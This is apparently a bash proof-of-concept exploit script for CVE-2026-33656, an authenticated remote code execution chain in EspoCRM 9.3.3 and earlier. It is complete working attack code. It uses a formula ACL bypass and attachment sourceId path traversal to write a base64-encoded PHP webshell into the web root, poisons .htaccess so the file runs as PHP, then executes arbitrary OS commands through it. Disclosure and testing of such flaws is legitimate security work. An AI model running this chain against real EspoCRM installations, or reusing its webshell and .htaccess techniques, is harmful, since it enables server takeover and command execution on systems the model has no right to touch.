#!/bin/bash # =========================================================================== # EspoCRM <= 9.3.3 CVE-2026-33656 — Authenticated RCE via Formula ACL Bypass # + Attachment sourceId Path Traversal + .htaccess Poisoning # # Author : Jiva (jivasecurity.com) # Writeup : https://jivasecurity.com/writeups/espocrm-rce-cve-2026-33656 # Product : EspoCRM <= 9.3.3 # Auth : Admin credentials required # Impact : OS command execution # # Usage: # ./poc.sh [command] # # Example: # ./poc.sh http://192.168.5.16:8090 admin admin id # =========================================================================== BASE="${1:-http://192.168.5.16:8090}" USER="${2:-admin}" PASS="${3:-admin}" CMD="${4:-id}" AUTH_B64=$(printf '%s:%s' "$USER" "$PASS" | base64 | tr -d '\n') AUTH="Espo-Authorization: $AUTH_B64" # JSON id extractor — prefers jq, falls back to grep+cut (no python3 needed) extract_id() { if command -v jq &>/dev/null; then jq -r '.id' else grep -o '"id":"[^"]*"' | head -1 | cut -d'"' -f4 fi } die() { echo "[-] FAIL at $1: $2" >&2; exit 1; } echo "[*] Target : $BASE" echo "[*] User : $USER" # ── Step 1: Create attachment (Document/file, .txt — passes accept list) ────── echo "" echo "[1/6] Creating webshell attachment..." RESP=$(curl -s "$BASE/api/v1/Attachment" \ -H "$AUTH" -H "Content-Type: application/json" \ -d '{"name":"test.txt","type":"text/plain","role":"Attachment","relatedType":"Document","field":"file","isBeingUploaded":true,"size":28}') SHELL_ID=$(echo "$RESP" | extract_id) [[ -n "$SHELL_ID" ]] || die "Step 1" "no id returned — response: $RESP" echo " Attachment ID: $SHELL_ID" # ── Step 2: Formula sets sourceId → ../../client/x (path traversal) ────────── echo "[2/6] Setting sourceId via formula (ACL bypass)..." RESP=$(curl -s -X POST "$BASE/api/v1/Formula/action/run" \ -H "$AUTH" -H "Content-Type: application/json" \ -d "{\"expression\":\"record\\\\update(\\\"Attachment\\\",\\\"$SHELL_ID\\\",\\\"sourceId\\\",\\\"../../client/x\\\")\",\"targetType\":null,\"targetId\":null}") echo "$RESP" | grep -q '"isSuccess":true' || die "Step 2" "formula failed — $RESP" echo " sourceId → ../../client/x" # ── Step 3: Chunk upload writes PHP webshell to client/x ───────────────────── echo "[3/6] Writing PHP webshell to client/x..." # Payload: RESP=$(curl -s -X POST "$BASE/api/v1/Attachment/chunk/$SHELL_ID" \ -H "$AUTH" -H "Content-Type: application/octet-stream" \ --data-raw "data:application/octet-stream;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOyA/Pg==") echo " Response: $RESP" # ── Step 4: Create second attachment for .htaccess modification ─────────────── echo "[4/6] Creating .htaccess attachment..." RESP=$(curl -s "$BASE/api/v1/Attachment" \ -H "$AUTH" -H "Content-Type: application/json" \ -d '{"name":"ht.txt","type":"text/plain","role":"Attachment","relatedType":"Document","field":"file","isBeingUploaded":true,"size":999999}') HT_ID=$(echo "$RESP" | extract_id) [[ -n "$HT_ID" ]] || die "Step 4" "no id returned — response: $RESP" echo " Attachment ID: $HT_ID" # ── Step 5: Formula sets sourceId → ../../.htaccess ────────────────────────── echo "[5/6] Redirecting to .htaccess via formula..." RESP=$(curl -s -X POST "$BASE/api/v1/Formula/action/run" \ -H "$AUTH" -H "Content-Type: application/json" \ -d "{\"expression\":\"record\\\\update(\\\"Attachment\\\",\\\"$HT_ID\\\",\\\"sourceId\\\",\\\"../../.htaccess\\\")\",\"targetType\":null,\"targetId\":null}") echo "$RESP" | grep -q '"isSuccess":true' || die "Step 5" "formula failed — $RESP" echo " sourceId → ../../.htaccess" # ── Step 6: Chunk upload appends PHP handler directive to .htaccess ─────────── echo "[6/6] Appending PHP handler directive to .htaccess..." # Payload: # # SetHandler application/x-httpd-php # RESP=$(curl -s -X POST "$BASE/api/v1/Attachment/chunk/$HT_ID" \ -H "$AUTH" -H "Content-Type: application/octet-stream" \ --data-raw "data:text/plain;base64,CjxGaWxlc01hdGNoICJeeCQiPgpTZXRIYW5kbGVyIGFwcGxpY2F0aW9uL3gtaHR0cGQtcGhwCjwvRmlsZXNNYXRjaD4=") echo " Response: $RESP" # ── Execute ─────────────────────────────────────────────────────────────────── echo "" echo "[*] Executing: $CMD" echo " Webshell: $BASE/client/x?c=" echo "" RESULT=$(curl -s "$BASE/client/x?c=$CMD") echo "$RESULT" echo "" if echo "$RESULT" | grep -qE "uid=[0-9]+"; then echo "[+] RCE CONFIRMED" else echo "[-] Webshell did not return expected output — check manually:" echo " curl -v '$BASE/client/x?c=id'" fi